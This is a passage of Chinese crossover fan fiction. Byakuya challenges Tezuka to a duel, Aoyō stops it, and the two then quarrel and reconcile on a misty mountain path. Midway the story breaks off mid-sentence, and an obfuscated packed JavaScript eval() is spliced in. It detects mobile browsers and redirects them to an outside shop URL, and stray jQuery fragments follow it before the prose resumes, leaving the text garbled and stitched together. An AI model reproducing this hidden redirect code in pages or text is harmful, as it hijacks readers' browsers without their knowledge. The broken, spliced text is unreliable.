三个字，清晰干脆，落在白哉耳中却无异于最直接的挑衅。


    白哉当即冷笑一声，千本樱的寒光映着他眼底的厉色。他未置一词，只抬手指向鹤之丘后山——那里灵压未散，战痕犹在，正是最适合了断的场地。


    苍遥没料到向来冷静自持的手冢竟会在此刻选择以战回应，急忙出声：“手冢选手！”


    手冢身形微顿，却并未回头。


    苍遥上前一步拉住他，低声劝道：“白哉重伤未愈，你赢了他也是胜之不武。放过他吧。”


    手冢怔了一瞬。


    他原以为她的阻拦，是担忧他的安危，会说些别的什么——却没想到……她或许确是出于担忧，落点却并不在他。


    也合理，“威胁”和“工具”，的确不值得成为她在意的落点。


    更何况，他选择迎战，本就不是为了所谓“胜负”，而是对那份“杀意”的直面回应。可她的话，将他所有的坚持都简化成了一场“不值得”的计较。


    在她心里，维护朽木家的体面，远比正视他的立场更为重要。


    另一边，被强加了“担忧”的白哉也是半点不愿领受。他只感到一阵鲜明的屈辱漫上心头，声音随之冷硬如铁：“苍遥姑母是觉得，我会输给这个人类小子？”


    苍遥低笑一声，语气里的讥讽半点不遮掩：“你又不是没输过，何必这么破防？”


    白哉脸色骤然发青。此前败于黑崎一护的画面猛地刺入脑海，喉间气息为之一滞，竟无从辩驳。他面容愈冷如覆寒霜，周身翻涌的战意却丝毫未褪，反被这句话激得愈发灼烈。


    见他这般，苍遥忍不住白了一眼，语气添上几分告诫：“白哉，你是朽木家的家主，不是只代表你一个人。能不能别一点就着？自己眼下什么状况，心里没数么？接连折在十几岁的人类少年手里，很光彩吗？”


    白哉唇线紧抿，一语不发。


    纵有万般恼怒，他也不得不承认，此刻他灵力涣散、伤势沉重，确非交战的时机。片刻僵持后，他终是压下战意，冷着声向手冢提出改日再战。


    “不约不约。”苍遥当即摆手打断，“我们手冢选手很忙的，每日不是训练就是比赛，可没空应付你。”


    手冢静立一旁，看着这对姑侄争执——语气再冲，言辞再锐，也割不断底下那份鲜明的血脉联结。


    终究，他们才是一家人。


    而他，只是个外人，一个不该让朽木家主颜面受损的、“十几岁的人类少年”。


    这份认知如一簇火苗，燎得他心口那团郁气愈发灼人。


    白哉同样心头窒闷。沸腾的杀意被伤重之躯死死困住，无可奈何。最终，他只冷冷地剜了手冢一眼，不再多言，强提所剩无几的灵力，身影一晃便朝山下掠去。衣袂破风之声短促而利，仿佛挟着未尽的怒意。


    直到那身影彻底消失，苍遥才几不可察地松了口气。


    一旁的狩能却看热闹不嫌事大，轻飘飘地抛出一问：“怎么？觉得家人输给恋人……是件丢脸的事？”


    苍遥回头看他一眼，只觉得他今日格外不怀好意——是了，他一直反对她与手冢的事。她此刻顾不上他，只下意识看向手冢，声音不自觉地放软了些，解释道：“手冢选手，我承认，我是不希望白哉输了对决给家族蒙羞。但更重要的是，这场对决本身毫无积极意义。”


    她望进他深沉的眼里，直白道，“除非手冢选手落败被杀，否则消除不了白哉的半分杀意。打这一架只会激化矛盾，逼得他们更快、更急地对你出手。”


    手冢沉默地听着，脸上没什么表情。


    他明白，道理上她没做错什么。她的解释也足够清楚了。这般冷静到近乎淡漠的权衡。句句在理，句句清醒，却也句句……都透着疏离。


    苍遥觑着他沉静如水的侧脸，心底倏地掠过一丝慌乱。她伸手拉住他的手臂，声音不自觉地急促了些：“手冢选手，我不是不看重你的尊严，任由白哉对你喊打喊杀……只是这个局面，不是通过一场对决能轻易改变的。让我们从长计议，好不好？”


    手冢站在原地，静静地听完了她的话。山风拂过他额前的碎发，镜片后的目光沉静地落在她脸上，像是在仔细分辨她话里每一分重量。


    然后，他几不可闻地、极轻地吸了一口气，开口：


    “你的判断或许没有错。但是苍遥，”他转回目光，看进她眼底，那里面没有怒火，只有一片清晰的、近乎疲惫的冷静，“你在做决定的时候，似乎从未想过我的意愿，未曾问过我是否需要这场对决。”


    语毕，他轻轻地将自己的手臂从她手中抽了出来。动作并不快，甚至带着一丝犹豫的凝滞，可终究是抽离了。随即他便转身朝山下走去，身姿笔挺，步履平缓，一步一步走进了浓雾里。


    苍遥蓦地愣怔在了原地。


    直到这一刻，她才惊觉自己犯了一个多么严重的错误——更可怕的是，在此之前，她甚至根本都没有这个意识。


    从小到大，她所面对的，不是师长，便是从属，很少有真正平等相处的经验。以至于她全然忘记了，手冢也跟她一样，是个会自己判断、自己抉择、独立自主的人。


    旁观的狩能似笑非笑地瞥了她一眼，极轻地笑了一声，出声问道：“你是真的喜欢他么？”


    苍遥回过神来，侧过身看他，眉头微蹙：“老师这是什么意思？我当然是真的喜欢手冢选手。”


    狩能摇了摇头，语气平淡：“看着可不像。”


    苍遥不高兴道：“老师凭什么这么说？”


    狩能看了她一会儿，像随口提起般问道：“到底是谁，把你教成这样的？”


    他略作停顿，目光静静落在她脸上，凝了一瞬，声线裹上了一丝轻淡的讥嘲：“还是说，你们朽木家养出来的姑娘，本就比别家的，要格外……冷静凉薄些？”


    苍遥用力抿住嘴唇，没去接他话里对家族的暗讽——在她看来，这不过是平民死神对贵族常有的疏离和偏见。她没时间在此多做纠缠。


    苍遥定了定神，急忙


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053299|194824||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    顺着山道向下追去。


    所幸手冢并未动用飞廉脚疾行，她没一会儿便追上了他。


    苍遥匆忙上前重新抓住他的手臂，指尖不自觉收拢，眼底漫开一层清晰的忧虑：“手冢选手对不起……是我不好。我一时忽略了你的感受，并不是我不在意你……”


    手冢没有回应。


    狩能恰在此时跟了上来，话音平静地随风飘至：


    “人的感情发乎本心，如何对待旁人，心底自有决断。”他的语气听不出情绪，却字字清晰，“或许，你并没有自己以为的那么喜欢他。”


    手冢沉默不语。雾气朦胧地覆上镜片，将那双眼睛遮得严严实实，什么也看不真切。


    狩能的声音却更沉了几分：“你们本就不合适，从任何层面来看都是。不如趁早断了。”


    他侧过半张脸，余光扫过手冢面无表情的脸，落在苍遥怔然的神情上。


    “苍遥，人类的一生很短暂。那点时间，就让手冢少年去忙自己的事，过自己的人生吧。围着你转……”


    他停顿了一瞬，像在斟酌用词，最终却只落下轻飘飘的一句，“才是真的没有意义。”


    语毕不再多言，瞬步离去。转眼之间，便没入下方翻涌的雾霭与林影深处。


    他和白哉来得突兀，走得匆忙，现场很快便只余一片被惊散的浓雾，以及兀自立在原地的苍遥与手冢二人。


    手冢依旧一言不发，甚至无视苍遥紧紧拽住自己左臂的两只手，继续大步朝山下走去。


    苍遥知道他生气了，说什么也不肯松手，索性小跑着跟在他身侧。手冢却丝毫没有放缓的意思，反而越走越快，衣角在风里扬起利落的弧度，仿佛真要就这样将她甩在身后。


    石阶被山雾浸得湿滑，苍遥只顾着追他，脚下忽地一滑，身形微晃——


    手冢理智上清楚地知道，她是死神，这种程度的踉跄根本不可能让她摔倒。


    可在这样想的同时，他的脚步却已先于思考停了下来，身体转回，让她稳稳跌进了自己怀里。


    呼吸相闻，心跳可触。


    苍遥还未站稳，便感到他身体微动，似乎又要抽身离开。她心下一慌，不管不顾地伸出双臂紧紧环住他的腰，将脸埋进他胸前，声音闷闷地透出来：


    “手冢选手……别生气了。我知道错了。”


    她抱得很用力，指尖无意识地攥紧了他背后的衣料，像是怕一松手他就会真的消失。


    “你别离开我……”


    手冢闭了闭眼，无声地叹了口气。


    那口气很深，像把胸腔里所有翻涌的、冰冷的、尖锐的东西都缓缓压了下去。他在原地站了很久，久到山风将两人的衣摆缠在一起，久到怀里的呼吸声渐渐平稳。


    然后，他握住她的手，一言不发地拉着她，朝山下疾行。脚步很快，却不再是为了甩开她。


    穿过林隙，掠过石阶，直至踏入一处僻静的溪谷，他才终于停下。那双总是沉静的眼眸里，翻涌的寒雾终于散去了些许。